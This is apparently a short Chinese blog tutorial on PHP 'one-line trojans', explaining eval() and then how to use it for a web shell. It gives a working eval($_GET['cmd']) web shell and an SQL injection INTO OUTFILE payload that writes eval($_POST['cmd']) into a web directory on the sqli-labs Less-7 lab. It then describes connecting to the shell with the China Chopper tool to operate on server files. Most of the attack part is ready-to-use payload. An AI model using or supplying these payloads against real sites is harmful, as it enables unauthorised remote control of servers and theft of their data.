PHP 一句话木马

eval 函数

eval() 函数把字符串按照 PHP 代码来计算

该字符串必须是合法的 PHP 代码，且必须以分号结尾

如果没有在代码字符串中调用 return 语句，则返回 NULL。如果代码中存在解析错误，则 eval() 函数返回 false

eval 函数的一般用法

eval() 函数用于简单的文本合并

<?php

$string='cup';

$name='coffee';

$str='This is a $string with my $name in it.';

echo $str."\n";

eval("\$str=\"$str\";");

echo $str."\n";

?>

以上例程会输出

eval() 函数的特殊用法

用于构造一句话木马

eval($_GET["cmd"]);

两种方式

通过数据库写马

环境：sql_labs Less-7

写入一句话木马

union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile 'd:/wampserver/wamp64/www/sqli/sqli/Less-7/twx.txt'%23

使用中国菜刀进行连接

可以访问并操作服务器文件

通过PHP 文件写马

<?php

eval($_GET["cmd"]);

?>

访问PHP 文件，查看phpinfo()

巴特西

PHP 一句话木马

eval 函数

eval 函数的一般用法

eval() 函数的特殊用法

两种方式

最新文章

热门文章